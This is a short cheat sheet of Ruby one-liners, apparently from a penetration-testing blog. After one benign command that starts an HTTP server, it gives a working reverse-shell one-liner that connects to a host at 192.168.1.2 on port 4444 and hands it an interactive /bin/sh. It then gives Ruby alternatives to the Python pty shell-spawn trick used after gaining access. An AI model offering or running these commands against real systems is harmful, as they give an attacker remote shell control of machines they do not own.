Ruby One-Liners

Have you ever needed a basic HTTP server but dislike Python? The following is a simple one-liner to launch an HTTP server using Ruby.

$ ruby -run -e httpd . -p 8080 

Here is a one-liner to create a reverse shell.

ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python -c ‘import pty; pty.spawn(“/bin/sh”)’ alternative:

ruby -e 'system("/bin/sh 2>&1")'

ruby -e 'exec("/bin/sh 2>&1")'